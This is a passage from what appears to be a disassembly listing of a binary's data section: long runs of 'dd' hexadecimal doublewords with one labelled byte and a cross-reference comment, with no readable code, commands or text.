0A0B2CE17h, 645F3632h, 70B400A1h, 0C70F21C3h, 0F12D04ECh dd 6794107Bh, 695F0091h, 2DA00307h, 63002AB3h, 2EF322BEh dd 2C910119h, 6023615Bh, 8F48B78Ch, 2CF09501h, 583502C5h dd 35D7812Ch, 1137B8ACh dd 40581484h, 19E3D32Ch, 408C2D04h, 5D95231Ch, 80317F9Ah dd 5C851E38h, 6EB5172Bh, 717B3347h, 0B7438407h, 881248F8h dd 0E1373BD6h, 4E6182D3h, 8647DB27h, 65B8F008h, 4C3BF25Ch dd 2F18FE39h, 0FFBED0C4h, 2B3DC816h, 0B06FB100h, 0BAB73E5Fh dd 21FD0057h, 5D3A03C1h, 0AF4E6168h, 0C89BA120h, 0D410942h dd 0E81D53Eh, 0C559D2FBh, 1F593009h, 77294080h, 0EBAF958Dh dd 63C46DA9h, 11B8410h, 4AF19750h, 0B175714h, 67A5910h dd 9003FB2Dh, 369D3184h, 252F0921h, 283795h, 0F79EB293h dd 0DB2E0183h, 61168059h, 0D4C1AE34h, 6B8A24C1h, 1F49F88Bh dd 7A1112BDh, 161423EFh, 0AD740465h, 702F525h, 0E595656Fh dd 0B9E14044h, 2E27EF96h, 6CA30A7Fh, 0BD5D1D44h, 0D1AF30CFh dd 0E9136883h, 5198029Dh, 0C4CD0045h, 0D53FC185h, 16D6C6C9h dd 9EE201E6h, 7B2C12F6h, 21B28E13h, 0CE61E518h, 58811D6Dh dd 12A6E6Bh, 4B3A79F3h, 0BD41D251h, 50000EA5h, 16A28D0Fh dd 6DF44666h, 2B5E1700h, 1AE22958h, 887300D2h, 0A94DAB93h dd 7C51DBDEh, 6FE605AFh, 0C82D02B3h, 0D0719529h, 0B979B9h dd 6A440F76h, 9B5891Eh, 57501BC1h, 6722F8B2h, 84F5DB5Ah dd 0E6A2FE47h, 11804F3Dh, 59CAAF63h, 3712E17Eh, 46298A36h dd 121C6A6Ah, 3513F562h, 1AB8E4A9h, 0A906F31Fh, 0DF0AD3C0h dd 0BA09958Bh, 6E585F5Fh, 73F502EBh, 4459F953h, 0E9304477h dd 6F013125h, 209409Dh, 8709F5D1h, 20D7ECDh, 211A5B7h dd 185FDDB1h, 3F1A7D7h, 0CB597134h, 964825FFh, 90CE1209h dd 76B88FBDh, 2EF45E04h, 0C2AB9394h, 2154B5ECh, 0F578C4ABh dd 93628B2h, 4E2B4CBAh, 8B895D88h, 224469CFh, 0E1128014h dd 6133B64Ch, 0B9E70E51h, 693C596Ah, 0F2A801C8h, 76E9D113h dd 0C161E38Ch, 9E438244h, 1CC6D871h, 9BAE014Ah, 2418CE1Bh dd 2AD3BE35h, 2381A4DBh, 0BF0221C9h, 621CD481h, 72C8C761h dd 7DE3FFF9h, 59DB8DCh, 45F5FF1Bh, 2084B88Fh, 689812h dd 67BF5295h, 68535037h, 0B232CF00h, 81F98B76h, 0F1247934h dd 46BA129Fh, 860C1820h, 0F08D48CFh, 0DF92FF25h, 7D015D41h dd 29952F25h, 0DC0E5E89h, 0EA523101h, 8B490872h, 0E36DD64Dh dd 0BE0018B8h, 3AAA6B09h, 58A0CF9Eh, 7916B339h, 99DD12Fh dd 53900030h, 0FEF9A60h, 4AB25059h, 1A1A8253h, 555A435Ch dd 7EA1DCh, 0EB93C8D2h, 9033CA80h, 0ED173FB6h, 4BA0D54h dd 1DF98D2Bh, 0B6B51DB8h, 0C5E9A026h, 605758FDh, 2E980822h dd 1EB50244h, 6D036090h, 95317CC8h, 61817564h, 72BAF2C0h dd 3A026CCh, 74D449F5h, 8EF91C14h, 8D4A90FDh, 0D50B43D1h dd 0C0811D84h, 0B062BA66h, 11507A2Fh, 8A8D609h, 548D546h dd 5F8AC209h, 58F2F355h, 0B504F0F4h, 2D3F8968h, 50D3E483h dd 0AA4113AAh, 0DE72F489h, 8B57BD01h, 8C259D0h, 0E600FC66h dd 0BE5EE0A6h, 4AEA5277h, 0A5756600h, 37E36325h, 0B3D31AF8h dd 3E358AF0h, 85049992h, 3C141979h, 813EAA22h, 16591CD7h dd 19087A6Eh, 1BA1313h, 81F011E5h, 84DBBEAh, 1C14C283h dd 0FFF32091h, 472052CEh, 0FF505F62h, 0E3FF9F35h, 5E8289Dh dd 0C22B5819h, 8531F01Ah, 4D38DE00h, 41ABD5Ah, 3C50C200h dd 813BD003h, 1945353Ah, 2DE5B4FEh, 0D94565BEh, 0C83178B9h dd 120DD0h, 0CC3C4003h, 75C2064Fh, 0F38B2540h, 0E11210EBh dd 0F8051B0Ch, 311C7A5Bh, 0AD20D103h, 0B14DBD1Bh, 2CC91208h dd 3EECAA04h, 8490F8A4h, 0E3808B51h, 5FA98110h, 59BF60B0h dd 0C34AC033h, 243EDCAAh, 4819697h, 9AA7D268h, 0B472F9D4h dd 8A14ACABh, 8B87FC21h, 0C03560D3h, 1988FD8Eh, 0DF7D07C0h dd 0BFE77F73h, 4A7641FEh, 5D9EAB38h, 5C5E38C8h, 407D2360h dd 3BE6BF1Ch, 611A9712h, 9280E19Bh, 1DECAE0Fh, 5D03329Dh dd 1F0E2204h, 70958212h, 9C143E8h, 320B4DB5h, 19346291h dd 0C8E8021Eh, 0A36DD86Ah, 320C4CE0h, 6ACB663h, 691FF585h dd 1709BD19h, 7D0D9665h, 0F1CA821h, 1370E46Eh, 0BBA32E80h dd 0EF658A37h, 33E75D70h, 0E28CCAB0h, 904EDF2Fh, 36A6FF3h dd 8063943Eh, 5090F59Eh, 0A116EFF1h, 4E12B74Dh, 489F0CC0h dd 1951929h, 0D23E719h, 80379A2Fh, 0FE9983CFh, 816300F7h dd 0C2FD56E6h, 9D52297Dh, 79F264F1h, 2C4D75B8h, 0A401B5BCh dd 4C12631Eh, 892CFC23h, 75A10780h, 5D004B06h, 4D43BB4Fh dd 7EE879B1h, 9B6AE1B7h, 6D68C71Bh, 5960D0E7h, 0E4FF0E32h dd 0E1B52D33h, 6E45BF91h, 44E93012h, 0EF5CDFB8h, 62E809B3h dd 0F49FFC07h, 34600507h, 0CA26F18Bh, 29A52F98h, 1D645267h dd 3B8EB860h, 23A58301h, 1A6CA74Ah, 44AD8C20h, 2AE70A22h dd 8B80169Eh, 7F5FB749h, 99CD5813h, 0B05B249h, 8064B7EDh dd 0CAC8B30Bh, 0F202EF6Ch, 0F7A780Ah, 9FEAE48Ch, 0B4D92B85h dd 0A82DE88Bh, 4076CF06h, 184B2334h, 89F02E02h, 0FE0161B5h dd 0AE1F4484h, 0BAD2FFB8h, 8700E1F2h, 0A5B96663h, 0E8305E84h dd 9D318964h, 230F507Dh, 0E21257D1h, 0A3A67BB0h, 0D7723307h dd 61B06893h, 44F98D31h, 80AF2817h, 68B939C0h, 3CDC07FDh dd 0AB62BE66h, 0CDC0DC6h, 1DCEC422h, 44BF000Eh, 1343A604h dd 0A405E7E8h, 650FD65h, 0A5C90D7Dh, 41687C29h, 3B05D0E8h dd 0A381749Eh, 2B673768h, 0B92CC720h, 0FB0F0325h, 0F57536A8h dd 31517C09h, 0D01FF3E9h, 0E0E0AE9Bh, 4FE98002h, 0F60575E8h dd 16FBC0D0h, 4107CB3Bh, 6E5D3874h, 0BE23F990h, 342939E2h dd 118AA632h, 0D657064Ah, 0C500D6ACh, 8426E09Eh, 51F20DCDh dd 2AC9A7D0h, 89827817h, 7C09719Dh, 171A446Bh, 2F30D80Ch dd 5C828A12h, 96A5973Ah, 0A8D45335h, 47C82C44h, 0F104FD0Ch dd 0D3528805h, 0D342D12h, 18E19404h, 7B2C6D21h, 0E602E77Ah dd 9DB529C6h, 7AED93DAh, 0B9E83942h, 0BC3DD504h, 0A998AA00h dd 0F0F60973h, 77442C29h, 0F8229062h, 99028C18h, 0B437BFF5h dd 0A84D4B0h, 385E115Dh, 0A8D129A5h, 188FA739h, 972DCD15h dd 15C4AE4Dh, 893F9160h, 9AD3954Fh, 0E3DBD48Bh, 885F6AC3h dd 0F6ABC690h, 9DD5C2Fh, 4FB95E05h, 0DCE92328h, 574ED423h dd 9C8D7A4h, 2713922Bh, 60FD4E0Fh, 0DB53109h, 69BE741Dh dd 0E4588A5Bh, 0C4361229h, 0B3BB874h, 616D9D09h, 0AF2B93E4h dd 0C1500F23h, 9D2EC88Bh, 786A6E2Eh, 66345601h, 414FE3BFh dd 22FB598h, 706BDB5Bh, 0A500B75Fh, 988F15EFh, 5CD9BF54h dd 8D28CC0Bh, 0E7174EF9h, 60C8A0FBh, 0BE43E3B3h, 61A93185h dd 41AD9B6h, 71B61D85h, 30E7BFE1h, 1440E50Eh, 5F6FED23h dd 4420B73h, 0F2700E73h, 0FC88FBB3h, 0F0B0989h, 0F96A6880h dd 0BB4C9FCh, 52347585h, 2AB237h, 0D413D937h, 5CBD3F19h dd 313D29E0h, 0D03B450Dh, 6B21F55Ah, 1518637Ah, 0E98552C8h dd 1A829594h, 8EC5E781h, 92341ED8h, 21B849FDh, 3B80E602h dd 89840F8Dh, 0AB640Eh, 8FC45F56h, 1B8ED8D1h, 7625B600h dd 0EB645950h, 490DFC95h, 4C58E503h, 14DB582h, 40F1FE0Ch dd 5700601Dh, 0F0815FFCh, 48AF3CFFh, 0F9350F67h, 818FDBD0h dd 0E595922Dh, 160D812Fh, 8B8651DBh, 31BD52FAh, 0F6D0285Bh dd 501D629Fh, 0C061577Fh, 644CE23Dh, 28D40DBEh, 14527D63h dd 9417F5BDh, 0D2DE184h, 862E5EF8h, 60252B8Dh, 3B1BD9F9h dd 70937F80h, 0F7784DE8h, 0CFA2AD0Ch, 0D3C94461h, 0B841FD51h dd 0BF6B3D97h, 4C597D0Dh dd 0F0322686h, 5F11F91h, 8422499Ch, 0A4F48C09h, 0D3738B1Fh dd 0B9AEDBB4h, 0D59AC96h, 0F88BAC9Eh, 7908E5F4h, 0AF00E995h dd 4ECF593Dh, 866C8B5h, 84A3D100h, 0F59F1E68h, 334D02E5h dd 0EB69274h, 2D40D55Ch, 13E6038Dh, 9D62682h, 0A5D31AE6h dd 30818C73h, 6937355Dh, 8051DA5Fh, 780F8C6Dh, 0F55D0409h dd 0AB60C59Bh, 0F39396A8h, 66610507h, 0E7ECF28Bh, 9A06C280h dd 3F00D52Dh, 8C7CB299h, 1AB9F20Ch, 27D7E9B3h, 0F9E06ECDh dd 25FD3B10h, 60ED6A3Dh, 84EB2AE2h, 24AEB195h, 91C4C2F3h dd 379D8552h, 0FA5E92CDh, 8B948303h, 0A6444FCFh, 4649E0D2h dd 7FAF0BBEh, 56467368h, 59D8911h, 4327EA4Ch, 1D7927E0h dd 4AF78B80h, 8018DBC3h, 0E963CB4Dh, 0AE7A16BDh, 459E84B1h dd 0FC58A8Ah, 0C069F7F4h, 1A8B0EB7h, 49476F93h, 51885357h dd 6FD30B38h, 9B610BABh, 77685891h, 1A81E8DAh, 0BE9FABF1h dd 9181357Fh, 935B8018h, 0B29C066Ch, 0C09F024Eh, 50FE8B90h dd 0AF004CD1h, 773258CEh, 0F91901B6h, 5031E521h, 0B8713D90h dd 0AE5400A4h, 897E316Bh, 444A3865h, 68B089FBh, 95202497h dd 41446D4h, 15B50137h, 0F239C6F5h, 970014BCh, 374640CCh dd 27165285h, 822B8B0Fh, 0BD0715D9h, 0A5D0A6D3h, 70987Bh dd 4C3ED2A7h, 29EF810Fh, 365051F2h, 6F4BB9DAh, 5A9D4A82h dd 0B8C29F5Fh, 0B6FEF404h, 629D3699h, 8A501224h, 5BC1F2DDh dd 7380A59Bh, 0B5ACFF7Ch, 31F78C02h, 200BE952h, 3462C8BBh dd 10A1E801h, 76D73FB3h, 0B58D5F34h, 87C277EAh, 5C7D1A7Fh dd 7524DC8Ah, 0F3033B1Ah, 8D8D4218h, 7AC416EBh, 0AAE00084h dd 82C72541h, 0BD093BFDh, 0D1FFA1E1h, 0B4C07EBFh, 955F510Ch dd 0A2D939DDh, 0EDEA2313h, 24ADB64h, 0C0C89ABEh, 0BBB931ECh dd 0B1510B9Bh, 2B789055h, 81BD8FB5h, 961CAF8h, 90354B7Ah dd 0DCC059CDh, 34D4C64h, 4ABB6D34h, 5859AD6h, 0EF02CDCEh dd 4600CC7Ah, 0DF30D117h, 0B494E18Ch, 37976540h, 67A40E1Ch dd 0BA6060CEh, 1D5FA5E7h, 7BEB8200h, 0B8E98996h, 1745B50Ch dd 16FC388h, 0DA8454BBh, 0EC012129h, 0C4B52BE2h, 0B0BE02E0h dd 0FE705974h, 1530845Fh, 9F025B09h, 5E5DB406h, 0E7E11998h dd 0F61F5050h, 5B153D9Ah, 0BB4A4h, 3FB1DB59h, 2E8BF3C5h dd 28765BDFh, 9D4DB5A5h, 0B520E4C7h, 598D89B9h, 844A37ADh dd 0B2ACAF76h, 988C16F8h, 809A092Bh, 0F15DA1CBh, 0DD005488h dd 0C48A615Dh, 2D256FBFh, 115B3839h, 1A517FA1h, 9006C518h dd 958B36C6h, 0B4BDE6A6h, 247724B1h, 7CD05B8Eh, 9E1DBD65h dd 6317A868h, 6A0B08B9h, 8D8423FFh, 7A94150Ch, 6494B54Ah dd 9CB850A9h, 0E1A75504h, 8881B97Eh, 2207233Dh, 0AD640109h dd 5B1B2920h, 0DBC8C0B0h, 7009E6C1h, 271E4FCh, 7F055D3Eh dd 8FEA4519h, 2DA8A67h, 0D1F8C8B6h, 83B2465h, 502D1E01h dd 98D7DDF2h, 1D3170C1h, 0C00464BDh, 0D381D9ECh, 0B22D5DF3h dd 68300C4Eh, 624E971Bh, 0ADF7E00h, 0FCADC123h, 0A45800C0h dd 3C87EE53h, 0B924AF28h, 0F5021C56h, 0AEC82B5Fh, 60D143A5h dd 61C7B0F8h, 85B53731h, 45D12B85h, 8BAA1E87h, 0BBAEE8E9h dd 0DA120082h, 51C78154h, 6858F045h, 0BF067E53h, 5773F719h dd 907F9510h, 4E9F88h, 0AA42D399h, 3B8ADB80h, 20D0D064h dd 0B59D3141h, 4483BA08h, 10DA016Ah, 1BA56B12h, 8236FD67h dd 0BD89571Bh, 4B8DD819h, 986F35Fh, 7EF9B70Fh, 1C848867h dd 9FBB6683h, 85A5EA71h, 8805FE16h, 20A289DEh, 3FBF0F1Fh dd 0B58D88F0h, 2F98EFF2h, 3952E197h, 0A30C162Fh, 1E74CAEh dd 78575CA8h, 0DB6F6A61h, 0BDECC05Fh, 27BC0D1Fh, 4ED19AD9h dd 3D9D8986h, 0A0B9340Dh, 4B6EFF7Bh, 30F49803h, 5E9C078h dd 0A48E41D0h, 0FC9B42A2h, 96E07E6Dh, 9DCF358Bh, 20F6A61h dd 4F9BDCFCh, 0E882820h, 631F5815h, 60C04D24h, 0ED165585h dd 17A90E3h, 0A43BE9E7h, 0C2B85B25h, 81BA3DFDh, 2B2F9B27h dd 0D56E3BD2h, 0BB80BB4Ah, 62C233ADh, 83D040D1h, 0F4759140h dd 536058h, 80ABBCCBh, 0AD6159C6h, 0A22FE0FAh, 6512F849h dd 46041921h, 0D0B2205h, 37A5AFFCh, 82870915h, 8D9D7282h dd 951023FAh, 0B31E320Dh, 0E5B43E4Fh, 2D4E816Fh, 0EB50030Ah dd 318F8C2h, 0FA08DFC1h, 19968355h, 136F58h, 89EDD51h dd 0B5534D85h, 82754410h, 3F9DD301h, 167A5511h, 0C934043Eh dd 2122AE1Fh, 6530770Fh, 0A100759Ah, 0A3EFE31Bh, 0BF274Ah dd 47190CC9h, 82C0558h, 2204734Ch, 46C4BF15h, 0A68CCE0Fh dd 0BCB6007Eh, 0CB5538h, 9C3A604Bh, 835B7A48h, 3A1C89A1h dd 4BB3B923h, 0E042B63Dh, 2689E71Eh, 3DAF86ECh, 5FE2BC2Dh dd 23F3769Ah, 301770h, 0D69FE965h, 1586192Dh, 5A2F8D71h dd 1E8BD4Dh, 0C4D39B7Bh, 99BE41B3h, 0E1FF012Fh, 80F04726h dd 4495DA3Fh, 0CFF0031h, 9B83B1F7h, 8A01AA5Bh, 9253685Fh dd 0D1CD518Bh, 22B1C041h, 75D26F0Ch, 16A85905h, 4011122h dd 0CC574B79h, 165B5287h, 8691033Fh, 0DA14A2Dh, 6572E6ADh dd 0C9FA604Ah, 0B5B2F797h, 8BF5E1CAh, 81BC3774h, 0AE31BB95h dd 21BA603Eh, 24800B40h, 2FFC04E1h, 0C90A3623h, 3FE7CC31h dd 0C460DA8Bh, 0E00C4155h, 0D9F133DFh, 0E8B62D1Ch, 44CB484Fh dd 4053D1Eh, 570E820Fh, 0F4ED9120h, 60D30537h, 45B5632h dd 9B2404F2h, 76FFC0FEh, 0E88C7EEAh, 0F66A5E29h, 1603F05Dh dd 6B7C1768h, 0C6651891h, 8A252135h, 927DADCh, 2E8D9883h dd 2F67F818h, 99FA3100h, 182C75A7h, 8E5C1759h, 30DC09B7h dd 40006964h, 0E1ACCBB8h, 48F295h, 0E8F01160h, 855EA9CDh dd 77E4C316h, 2D9CF04h, 124EFE5Eh, 0EA60C755h, 0B47617D0h dd 0F520B504h, 7DE5812Eh, 92372DACh, 6CB1EAC7h, 0C4A5DB2Ah dd 538103BBh, 65881711h, 609781B5h, 1FE59705h, 21F13F04h dd 4B7771A9h, 0B6551359h, 0F618E081h, 7B105D3h, 9B06899Bh dd 0D4FFC2D7h, 0B7724CD5h, 84C0854Dh, 24DD7464h, 5EBE783h dd 0F14689DFh, 9AD27B59h, 432B7C50h, 0B9886939h, 9B582838h dd 0EABB409h, 76118AF0h, 1EBB3102h, 82F8376h, 24340990h dd 0C03E09F4h, 0F1B552FFh, 5009683Fh, 0E2763788h, 417AFA90h dd 0B9016B5Fh, 379753DBh, 9B56E2Bh, 1A8DD501h, 707EF341h dd 0BE00820Eh, 0AB398DB3h, 0E55090A3h, 4080E428h, 0F9A80405h dd 977E4249h, 60C76EE8h, 0FFCD1B61h, 0EB59D1C0h, 0EF4600A8h dd 8B58A26Ch, 854CC7F9h, 0F6AFD2DBh, 0AD007F42h, 4078B0F2h dd 267F8F32h, 21F5AC08h, 921C2686h, 1AF7E38h, 9D8BFDF9h dd 0BE0530E5h, 20169326h, 6E950AE1h, 1673F4E4h, 0E0C3050h dd 1644479h, 0AD3E87C1h, 4C9A030Eh, 295803F1h, 0EBE70D2Ch dd 4DE3636h, 16EE3964h, 29501B33h, 18214028h, 113CD58h dd 841B0957h, 9509C0C2h, 4C79E8BBh, 0C985A193h, 0B813FD14h dd 0A3D403CDh, 1BB4559h, 31EB34A9h, 0D1C93F48h, 9131D60Ah dd 21D98A63h, 0B70F01A5h, 0C6043A33h, 4181DDE8h, 50061349h dd 6BE2B55Ah, 0AA337934h, 7FC76Eh, 0D7DFC1A5h, 0DD8A7F16h dd 6C7F513h, 8104E518h, 21CC09F7h, 26846217h, 0F42E4109h dd 0D4C824FEh, 0D3C33F9Ah, 8CB6BB82h, 9ECA4637h, 79DBF689h dd 0C02770h, 0BC489E9Dh, 0BF6CBA4Ah, 0AF9D3A9Ah, 0AAFDEACDh dd 37259BA3h, 0BA7E004Ah, 0F760A78h, 9D09C20Bh, 0B73E9361h dd 16691076h, 0A71AB195h dd 9B02A012h, 0BF050278h, 1C3B9599h, 8D01E0B0h, 0C49B6958h dd 1AF92449h, 6C0791E8h, 12E6535Ch, 446AB6Eh, 0A85639CBh dd 0D1931BAh, 3DB1C486h, 2D158D18h, 48DBD69Fh, 50AFC09Fh dd 1C1D0938h, 4C28313h, 8AB8C4EDh, 0F15E6D25h, 64D5251Bh dd 2797D97h, 29E6D155h, 0FDCAA9BDh, 20504082h, 1811DF5Ch dd 0ECA18509h, 78FEF35Fh, 7C014062h, 7DF1AEBAh, 0AB41E099h dd 86123081h, 0F5406F5Ah, 2ABB1266h, 23526E7Ch, 78380019h dd 45A253B8h, 0DA5EA4B8h, 0EDE07234h, 44BB0596h, 885BAD30h dd 128B03E6h, 0E6965F23h, 11B8E37Ch, 9453D1CCh, 0AA11218h dd 302D9021h, 0EF7A9C22h, 0C91F7A32h, 3826211Eh, 5225B54Ah dd 0BF50022Bh, 515E3B8Dh, 0E4182F5Fh, 0F28A0C75h, 1FCB205Fh dd 29729787h, 35248B01h, 2CA27822h, 0E09D8A9Fh, 0D1D6109Fh dd 0B43507EEh, 208D4C24h, 9FB55104h, 7373C278h, 3469D82Ah dd 8B04B79Dh, 66D99E17h, 75778700h, 77C1997Ch, 2F7300CBh dd 3F4B582Dh, 9A3B09FFh, 0D57D25E6h, 8B9631C4h, 56E807DCh dd 53F74D61h, 63AA958Ah, 21002FD9h, 0D63D77DFh, 718228F3h dd 29CD20CAh, 8A280240h, 0B3A4BDF9h, 4823AD09h, 820875A5h dd 4F037C5Dh, 0D4C6D985h, 0EB4DC487h, 17387654h, 690461CAh dd 0C6BC24ADh, 0E0E4259Ch, 0C0419F00h, 30954F37h, 647A0053h dd 61FD1712h, 0CB7B812Ah, 70AFA700h, 0F467E95Bh, 192BE2FFh dd 99078D9Dh, 11A89EC1h, 18977AFCh, 0F82FBF09h, 0CD6B4FA2h dd 0DC2161h, 674C1646h, 0FD086602h, 0F95F533Ch, 47B5AF8Ah dd 5D5C7603h, 0FFFEF26Ah, 0FC8CF311h, 0C9012806h, 424E8ABFh dd 0EF645B01h, 21319ED6h, 883780D6h, 11540D27h, 0D43E1C3Fh dd 816E9DAEh, 12D54E5h, 58EA802Fh, 0BF5261CEh, 6683902Dh dd 4640977Eh, 60880480h, 61D0258Bh, 0B7DDB662h, 15D50280h dd 0FBE0557Dh, 505F7E3Eh, 9FC46DF0h, 0D0983662h, 1008841h dd 0E3D66D72h, 0FCAEEFF8h, 310F31F4h, 7E40443Eh, 16671789h dd 0DF2CE2A0h, 0BE4AA800h, 0B88F354Bh, 541F98F8h, 74BFF9C5h dd 3D7816B9h, 0C43B9B6Ah, 25C0CFA0h, 12B22064h, 0BCE6505Dh dd 713027ECh, 181BF972h, 6B7E0003h, 0DFA56721h, 0D72580EBh dd 642FCD9Ch, 8BA3601Ch, 1D360080h, 0DC30D813h, 0B9588589h dd 2C539C86h, 98F4E28Ch, 0B1D14A9Dh, 10282BD8h, 86578A3Fh dd 7F9B169Bh, 0E7B79802h, 7AE49D2Eh, 4800856Ah, 0B1B6DF9Ah dd 5D5F8531h, 33F83D0Bh, 0DF4CF75h, 70B2ADACh, 0B7277844h dd 40C350D9h, 9D5A0315h, 362A5AF5h, 0BD20BAA0h, 50902C0Dh dd 0BCA20E71h, 0E2B8F6D2h, 0CC80564Eh, 344B6178h, 56ED8BAEh dd 9CECB075h, 0EE773B7Ah, 5879C738h, 4073A231h, 0B9046020h dd 5CEBD192h, 4C5B8CCh, 0A9AA588h, 0A8588490h, 0FAF0D37Eh dd 0F66A8108h, 0E0166D57h, 0DCF2103h, 5EA16C58h, 0F69B88D5h dd 496317C7h, 0BC917885h, 5F984A2Ah, 302B894Ch, 64BF1D78h dd 0E4114407h, 0A394FE00h, 0AC0BDE99h, 53623A21h, 0D3FA902h dd 0BE6E25Ch, 0B0586C03h, 98CE4D0Eh, 0EAF54E83h, 22D405C6h dd 58DF821h, 0E270E682h, 41E300DFh, 5774965Ch, 0A49F1287h dd 85260EF8h, 71E40670h, 2532DB81h, 9D6925D7h, 0CCAF14EFh dd 0F0008D5Eh, 7AFDE634h, 26C48EEh, 0E298AD65h, 0BF54B58Bh dd 0B6425E98h, 2D6C98C8h, 20EC20FDh, 190D77A0h, 0EB59295h dd 0B5B2D28Eh, 0C079A272h, 3F535BCh, 0FD754E03h, 21A8D707h dd 0C409242Ch, 89C94B32h, 9277FC15h, 81CAB05Bh, 9A46EF00h dd 0C82B6ADAh, 91CF0980h, 7371D18Bh, 2ABE9B00h, 778F440h dd 4322EE34h, 0ADA734AAh, 0F0E48EB6h, 88E6885Ah, 0D9645594h dd 0A0AE12BFh, 0EFFCBBB7h, 0D373BD22h, 4A2DF9EEh, 2A11AF92h dd 4A2F9069h, 7020A289h, 5EC79868h, 7688A35Ah, 9FC8DA4Ah dd 5622AA1Fh, 0A5A8BF8Ch, 0F5FE2617h, 815B20FAh, 0C538E593h dd 4A2984Ah, 0DDECF826h, 6D461DF4h, 0D33C8022h, 0FF28597h dd 6AD9BF12h, 0F96FEEh, 0F3DADFCEh, 0B8BA3046h, 90980BACh dd 0CDFC61A2h, 0D42DD4E9h, 0EDE4E103h, 0CB1E84B9h, 0BA088346h dd 95B0F0CCh, 0F4D3B30Bh, 7E130C70h, 0B5892739h, 8B13825Ah dd 0D51DFCFAh, 150ED3D2h, 1CB712B8h, 49D92DB0h, 2B1502BDh dd 9A375FD2h, 0F8AC1400h, 0E1BC5EEEh, 7AA556D2h, 0AB878537h dd 73B9749h, 0E24DBD5h, 0F8597ACh, 8027028Eh, 0DD7341CBh dd 4411EDADh, 0D696ACE9h, 38E0C4F6h, 0B526465Eh db 0EEh, 13h, 4 byte_544547 db 9Dh ; DATA XREF: ___:off_447214o dd 0B7AC16F1h, 78E99CBDh, 0C068CD65h, 0B86F49F3h, 5ED26048h dd 4C0FAAE4h, 0BEC24386h, 0AC608DE6h, 9495D8BFh, 4216FB7Fh dd 0AA26A520h, 0F4B5FC36h, 1DEDC002h, 56DE7298h, 0C781605Ah dd 0D00A37A4h, 0B9E1FF71h, 423B03DEh, 0E9C2EA82h, 0A3FBD626h dd 2DB2D812h, 4DA55B88h, 3CBAC0EDh, 541DF06Dh, 0DB798D09h dd 0A893A674h, 9B665A43h, 0A6ACC0D0h, 25DE4D1Eh, 6865D917h dd 202203Eh, 15F878BFh, 0AE16056h, 5E56FE35h, 5496C249h dd 91B243Bh, 395A7ADCh, 0ED33FA45h, 44DFCD25h, 6B660296h dd 79BD89A9h, 0DAF3E3EAh, 0A4181759h, 0C53C213h, 2CC026FCh dd 0CE78BEF9h, 0A489D33Eh, 0AD089848h, 0B3611215h, 7205E7Fh dd 5D64DBh, 30BA06E2h, 0B7FFCD0Eh, 7008504Ch, 7CC7E28Ah dd 0D312DCE1h, 7F05626Fh, 79191331h, 8D8F119Ah, 0AD859368h dd 0E612AEB2h, 166C46A0h, 84D711Ah, 0A9A606EAh, 5B57B917h dd 4E88A78Dh, 10F2F65h, 5B29A9BDh, 0DFF59F31h, 153E584h dd 0BA2FE5D1h, 93FCE00h, 95C6FDDAh, 57534C9Ah, 723CDA70h dd 0F6E178Dh, 95C56180h, 75A8040Bh, 0EC7DA94Bh, 2A2325C5h dd 21254AE0h, 7677BA95h, 5E3A6020h, 91260D0h, 76B72255h dd 0A8EBF94Bh, 0D40707E4h, 0E1D8F7BDh, 41C4425Dh, 1321D8h dd 9F0689F8h, 8A42D64Ch, 0BDE1D84Ah, 2AF3D155h, 13C55114h dd 1ED792CCh, 0D0616902h, 0FA6A88FCh, 7E271CA3h, 2E309A7h dd 0D797355Ah, 2980E9B7h, 0E4F96257h, 73583745h, 1B3CF88h dd 0D268FA13h, 5063D057h, 130B5258h, 2802201Eh, 56FE8B31h dd 542D4061h, 0DACA63E5h, 46A5F79Dh, 9CDFF84Ah, 2578AB86h dd 9613B037h, 0FBA86700h, 31EB8063h, 0ECBA61FEh, 192D2BEEh dd 7916E2Eh, 9589A53Fh, 56A82AB4h, 314E25E3h, 748006C1h dd 1392B128h, 813BA2C9h, 26BE1EAh, 0F1B5C8h, 0D986D5DAh dd 7EE54CFCh, 193A2BEFh, 0C093DBE4h, 58F38A6h, 6BB31449h dd 9509F356h, 3D592B31h, 4D38B3CAh, 9011421h, 81C5F2C2h dd 1A5D9513h, 9A28F78h, 6542C420h, 0DE8A0B23h, 0B482BB76h dd 297019BDh, 56291A95h, 8A1FDC61h, 1200D225h, 79D4B3D7h dd 0F1BB48BFh, 316A7631h, 52742B2Eh, 426014D2h, 0B68757B8h dd 611268D5h, 0A94A3BB3h, 4EDB814h, 969E16A4h, 8016A860h dd 17D67957h, 2DBC0E61h, 24A02F97h, 9464BA66h, 0D4205E5Bh dd 3AC15688h, 58040FEAh, 0E850615Ah, 0FCC58094h, 0A21538h dd 68B674A7h, 0FF735770h, 13ACDD01h, 96E187D9h, 12986E7Eh dd 32ECBE5Bh, 48F9FE80h, 7200BD31h, 83BB2F71h, 2F7B30B3h dd 13EC525Fh, 5B248E42h, 0C380C105h, 5B352B33h, 571271E8h dd 461CE7A1h, 0F36AB0FFh, 44A7B56h, 0EC53A249h, 5BC9AE03h dd 5AA823Eh, 6EEA6656h, 5B264509h, 79F8A33Ch, 0C3C42B58h dd 293278A3h, 50090262h, 7ABD9B39h, 23549B92h, 641D4D25h dd 0F1796714h, 801D1F34h, 2608290Eh, 5B04DA8Bh, 16D9D31h dd 0B6D323ADh, 0DB8AE0BDh, 0CCF30048h, 705E6CBFh, 0E7308013h dd 8501506Ah, 9E1C9719h, 566359Dh, 0B32BA5FBh, 22FC58D1h dd 61604A0Eh, 28658547h, 0BF610003h, 78A8C89Ah, 20575F50h dd 122F326Ah, 0E662A025h, 0EBB59522h, 0CD215100h, 790EB168h dd 409D94BCh, 35AD707Eh, 0D053170h, 57922707h, 6ABDC30Fh dd 56728D03h, 2C1D47Fh, 397C15CAh, 4099C0FEh, 50B225C1h dd 7DAD9566h, 0A15D9DE0h, 28059BF3h, 10812222h, 4AAD8D3Ah dd 4F38C0CEh, 80A89E5Bh, 0A5AA9C3Ch, 28770B64h, 83705140h dd 509317B4h, 0B17A930h, 0FAB201D7h, 72A2BF66h, 0FEA515Fh dd 93A62A8Bh, 0AC8E5B84h, 0D314AAC6h, 0B13485E0h, 0D70CAC9Dh dd 0E5E2DCE6h, 263B10E0h, 1B4F3D06h, 2062A441h, 9DEC081Dh dd 212DC924h, 87B53572h, 0D772EE84h, 1EC32C6h, 35EB135Ch dd 21F2814Ah, 42DD2CA8h, 5D5091DAh, 9E079495h, 59ED272Eh dd 0C34DBBE2h, 0DD504A07h, 0E34E761Eh, 0F531EA9Ah, 2B46630Dh dd 3500FDF2h, 1384DC65h, 623F14D1h, 0D0B50088h, 0D98BD531h dd 